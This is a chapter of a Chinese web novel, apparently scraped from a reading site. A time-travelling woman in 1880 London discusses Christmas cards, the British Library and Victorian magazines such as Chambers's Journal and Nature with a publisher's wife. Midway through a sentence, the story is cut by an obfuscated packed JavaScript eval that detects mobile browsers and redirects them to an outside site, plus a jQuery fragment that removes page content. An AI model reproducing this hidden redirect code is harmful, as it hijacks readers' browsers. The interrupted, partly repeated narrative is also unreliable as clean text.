Chapter11


    发生在三楼的夸奖？


    奈布拉瞬间有了猜想。


    “是夸我送的圣诞贺卡不错吗？”


    “对！”


    席尼曼夫人赞叹，“你一猜就中。在一堆印刷贺卡里，你送的照片贺卡夺得了今夜最佳圣诞贺卡头衔。”


    奈布拉笑道：“谢谢大家的喜欢，也祝贺我的同好朋友们能得到认可，那些别致的照片被更多人欣赏了。”


    这个月初，奈布拉准备圣诞礼物。


    发现维多利亚时代的欧美社会，远比两百年后更重视圣诞贺卡。


    圣诞贺卡不是单纯地表达节日祝福。


    它成了一种社交活动，一种身份象征。


    在圣诞节，人们用收到的贺卡招待客人，就像用糖果与茶待客。


    那些贺卡被摆在家中显眼的位置，与来客一起翻阅欣赏。


    大家评选哪张图案最特别，哪张做工最别致，哪张贺词最动人。


    只能说每个时代都有符合当时生产力的娱乐活动。


    没有手机网络，没有电视电影，圣诞贺卡是现成的话题。


    一家人收到贺卡的数量越多、质量越高，侧面体现这家人的社会地位越高。


    奈布拉细查发现送圣诞贺卡的习俗并不久远。


    三十七年前，英国的亨利·科尔爵士刚刚寄出第一批印刷的圣诞贺卡。①


    那是1843年，一共印了1000张贺卡。


    之后三十多年，圣诞贺卡仍是中产以上家庭的祝福礼物。


    直到五年前，圣诞贺卡忽而销量飙涨。


    不完全统计，今年英国的圣诞贺卡足足印刷了1150万张。


    一千对比一千多万，数量增长过于可怕。


    奈布拉之所以留意这些，是在调查大众阅读趋势时，研究了不同的印刷商，发现这个市场的庞大与潜力。


    短短五年，从底层劳工到宫廷贵族，欧洲人过圣诞节都离不开圣诞贺卡了。


    现在圣诞贺卡没有固定形制，方卡、圆卡、菱形卡、树形卡都有。


    图案更是丰富多彩。


    没有拘泥在圣诞老人、圣诞树、麋鹿上，而是怪诞到青蛙老鼠也能做主题，清新到植物花卉也轮番上阵。


    奈布拉赠送圣诞贺卡时，已经考虑到收件人期待的独特性。


    批量印刷的贺卡再精美也不够有独特性。


    她找上摄影协会的同行们，买了一批照片。有的是废片，有的是练手之作。


    经过裁剪粘贴到硬质卡上，手绘不同边框，再亲笔书写不同祝贺词，一张张独特的圣诞贺卡就诞生了。


    也请每位拍摄者在照片上签名。


    算是变相宣传，说不定被谁看中摄影风格，就多了一位客户。


    这些贺卡不包括原主的摄影作品。


    不是不想用，而是大火烧毁了书店，底片与照片也被毁之一炬。今年下半年的旅行跟拍是商单，不能另作他用。


    奈布拉原本不指望送出的圣诞贺卡能获得最佳称号。


    不会小觑旁人的艺术审美能力，只希望留下一些用心独特的印象。


    今天，席尼曼夫人的评价倒是超出预期。


    “快进来。”


    席尼曼夫人带路来到三楼，走进一间小型会客室。


    室内静谧，烛火摇曳，没有第三个人。


    除了沙发与圆桌，最大的家具是酒柜。


    “珍妮她们去打牌了。下午茶时，我吃得甜点有些多，正想喝点香槟消食，刚好你陪我喝一杯。”


    席尼曼夫人取来两只玻璃杯，倒入拿破仑御用品牌「酩悦」香槟。


    酒入杯。


    瞬息间，气泡翻腾，甜香四溢。


    “敬圣诞快乐！”


    席尼曼夫人举杯，灌了一大口。


    “敬圣诞快乐。”


    奈布拉也举杯，只小酌一口。


    这齁甜的时代差异！


    19世纪的香槟非常甜。


    甜到她的牙都快松动了，难怪被叫作“起泡的糖浆”。


    近些年虽有半干型香槟问世，但今天这瓶拿破仑的爱饮款还是甜型。


    拿破仑都死了五十九年，这股嗜甜风潮还没被抛弃！


    奈布拉握着酒杯的手指都没抖一下。


    她浅浅微笑，将甜度爆表的香槟咽入胃里，只在心里偷偷决定之后一周不吃糖了。


    席尼曼夫人深嗅一口杯中甜味，眼角眉梢淌出了享受美味的气息。


    “口感很好，法国人酿酒有一套。”


    奈布拉不接话。


    她是有底线的，沉默是对这类甜酒的严厉批判。


    席尼曼夫人从甜酒里回神，随口一问：


    “你刚刚说去意大利，是去帮忙摄影吗？怎么不用你的作品做圣诞贺卡？”


    奈布拉回答：“我去意大利为赫尔侯爵一家做旅行跟拍。”


    “至于不选我的作品，是因为刚入行一年，还没积累合适的照片。”


    奈布拉说着，顺势把话题引向了出版物，“我想再进修一下，这个月开始去大英图书馆读书。”


    “哇哦！”


    席尼曼夫人惊讶，“你获得了读者券？是谁面试的？该不是克拉克吧？”


    奈布拉点头：“是汤姆·克拉克先生。”


    席尼曼夫人挑眉：


    “过签不容易吧？克拉克问什么深奥的难题了？


    克拉克是出了名的较真，就像是知识殿堂的固执守门人。”


    这个比喻算是好听的。


    有些人说得难听，说汤姆像一条老狗看护着图书馆，不叫任何求学心不诚的人入内。


    席尼曼夫人没说那些难听的部分。


    作为出版商，与图书馆审核部打交道是常有的事情。


    尽管对汤姆·克拉克的不知变通有点懊恼，但也欣赏他的一些坚持。


    奈布拉要怎么说自己非常迅速地过签了。


    使用了心理战，仅用一个人名反问了面试官。


    事实荒诞，不必作为谈资。


    “克拉克先生很负责。”


    奈布拉不做过多评价，非必要背后不说人缺点。


    切换话题，“入馆后，我却遇上了一点小麻烦。”


    “哦？”


    席尼曼夫人好奇了，还有什么比汤姆·克拉克更麻烦？


    闯过面试官的这一环，不就能舒舒服服看书了吗？


    席尼曼夫人：“是谁为难你了？”


    “没有，工作人员都很友好，读者都很守秩序。”


    奈布拉话锋一转，“只是闭架阅读模式，多少有点为难我了。”


    席尼曼夫人立刻明白：“想找到一本合心意的书，很不容易。”


    闭架阅读，意味着读者不能直接去书架翻阅。


    只能凭着汇编目录上的书名与一句话简介，挑选符合阅读期待的书。


    这样选书难免与预期不符。


    再由工作人员从书架取拿与归还。一来一回，时间损耗是难免的。


    奈布拉：“您对出版刊物了如指掌，我想请您指点一二。如果想看英国综合类的科普类读物，除了《自然》，还有别的选择吗？”


    奈布拉又说，“我也想阅读连载小说，尤其是一些带有科学元素的探险故事，但难找到合意的杂志。”


    “这两个问题，你都问到关键上了。”


    席尼曼夫人一句话概括，“某些类别的杂志正处在新老交替的混沌时期。”


    “在英国，你找不到像《自然》这样综合类科普的同类竞品。


    别的科普类杂志，像是《化学新闻》《卫生工程师》等偏重某个专项学科。”


    “如果对专业性没有高要求，1832年创办的《钱伯斯周刊》是一个选择。


    它有浅显的科普，也有各种连载小说，受众很广，一家人能在茶余饭后一起阅读。”


    席尼曼夫人：“《钱伯斯》有时会登载你想看的带有科学元素的冒险故事。”


    奈布拉微微颔首。


    她也选读过几本《钱伯斯周刊》。


    这本1832年由苏格兰出版人威廉·钱伯斯、罗伯特·钱伯斯创刊的杂志，最初的定位面向工人阶级。


    经过四十八年的发展，杂志内容变得非常丰富，受众面也拓宽得极广。


    英国家庭的男女老少，能在同一本杂志里找到各自偏好的内容。


    每周六上架，价格非常便宜，只需花1.5便士就能买到一期。


    据不完全统计，《钱伯斯》的一周销量高达8万多份。叠加单本传阅数，每期至少有十几万读者。


    《自然》的销量只是它的一个零头。


    席尼曼夫人话锋一转：“今年似乎又有人要为科普杂志做慈善了。”


    做慈善？


    奈布拉捕获这个要点，意思是有出版商愿意不计盈利投资创办一份新杂志。


    说“又”，是不是意味着《自然》杂志的营收实情比宣称还要低？


    奈布拉：“《自然》要迎来竞争对手了？”


    “说不准。”


    席尼曼夫人语焉不详，“这些天文学家吵吵闹闹也不是一两天了。说不定什么事后你在图书馆就读到另一款综合性科普杂志了。”


    席尼曼夫人不就此多话，转而说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390592|199891||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ：


    “哎！可惜狄更斯骤然离世，不然大英文学界必然不是这样！”


    十年前，58岁的狄更斯因为脑出血猝死。


    他创办的杂志《一年四季》主要连载小说，也设有漫谈、评论等板块。


    曾经这是大英最受欢迎的刊物，但随着灵魂支柱的逝去，它的荣光不在。


    在杂志创办的十一年后，狄更斯去世，享年58岁。


    他走得很突然，因脑出血猝死，留下一部没有完成的遗作《艾德温·德鲁德之谜》。


    席尼曼夫人：“现在《麦克米伦杂志》与《康尔希杂志》成了高品质文学月刊的领头羊，1先令一本，可质量与影响力远不如当年的《一年四季》。”


    奈布拉认同，她扫读了好几期《麦》与《康》。


    《麦》侧重严肃文学与道德关怀。


    《康》多是登载名家作品，也有不少名人回忆录。


    侦探冒险故事显然不会出现在《麦》《康》这两本文学杂志上。


    简单概括，两本文学月刊都是高雅殿堂，《钱伯斯》则是通俗读物代表，互不相通。


    唯有活着的狄更斯，才能够让一本杂志同时承载雅俗共赏的故事。


    话说回来，在英国杂志中，最接近以“冒险”为主题的杂志是《年轻人》。


    它的目标读者是男孩，以海上冒险、寻宝与荒岛求生为主，缺少深度。


    比对隔壁法国，《教育与娱乐杂志》因为儒勒·凡尔纳的故事出名。


    杂志的核心基调是侧重科技构想与乐观探索世界。


    奈布拉的第一本故事，准备写有科幻元素的庞贝冒险。


    不得不面对一个尴尬现状，蓬勃发展的大英出版业，居然没有以侦探与科幻为主题的代表刊物。


    席尼曼夫人也感叹：“探索世界真相的故事，居然让法国佬占据上风，有代表刊物《教育与娱乐杂志》。”


    奈布拉认同，“确实遗憾。”


    她敢打赌这种空缺意味着潜力巨大的商机。


    为什么没有出版商投资呢？根本原因还是缺少代表作家。


    《一年四季》需要查尔斯·狄更斯。


    《教育与娱乐杂志》不能少了儒勒·凡尔纳。


    将来，自己能否成为这个支柱？


    奈布拉默默把“否”字去掉。


    不过，未来尚远。


    现实问题又绕回来了，先让第一本故事顺利登载。


    奈布拉与席尼曼夫人又闲聊了一会。


    确认科学向的《自然》与文学向的《麦克米伦杂志》同属一家出版社。


    即，麦克米伦出版公司。


    它由麦克米伦家的兄弟俩丹尼尔与亚历山大在1843年共同创立。


    三十七年过去，除了杂志，还出版教科书与学术专著，另外还有海外业务。


    席尼曼夫人没有把话说得太清楚。


    只说亚历山大·麦克米伦对自然科学有浓厚的兴趣，与天文学家兼《自然》主编洛克耶的友情十分深厚。


    谁说商人只看重利益，总有不计得失的真正感情与喜好存在。


    再说《钱伯斯周刊》，它的商业模式就很简单了。追求薄利多销，外加广告商给钱。


    不似麦克米伦出版社注重后续作品的商业价值，比如把故事出版成书，甚至翻译推广到海外市场。


    奈布拉还注意到一点。


    席尼曼夫人吐槽《钱伯斯周刊》的趣味性近几年减弱不少，因为从七年前主编被换了。


    这本杂志是钱伯斯兄弟威廉与罗伯特一起创立的。


    兄弟俩风格不同，一个注重理性务实，另一个认为文学不能沉闷。


    九年前，弟弟罗伯特去世。


    不久之后，哥哥威廉更换了杂志主编佩恩。


    当时的主编詹姆斯·佩恩偏好引入有情节张力的故事，比如让反派被狮子吃掉。


    这被威廉批评情节浮夸。


    他认为提到狮子，更应借机介绍野生动物的习性才对。


    现在，八十岁高龄的威廉是杂志主编。


    奈布拉斟酌一番，确定了要怎么包装第一个故事，不叫威廉一眼反对。


    从新人投稿的角度，《钱伯斯周刊》是首选。


    后续开发周边或推广，麦克米伦出版社是更好的合作者。


    这就要注意商业合约，从一开始只给《钱伯斯周刊》连载权。


    等新年后返回伦敦，准备细查1842年的《版权法案》。


    发掘详情难吗？


    获得大英图书馆阅读权的好处就在这里了，只要愿意在书海里狗刨，海量资料是想查就查。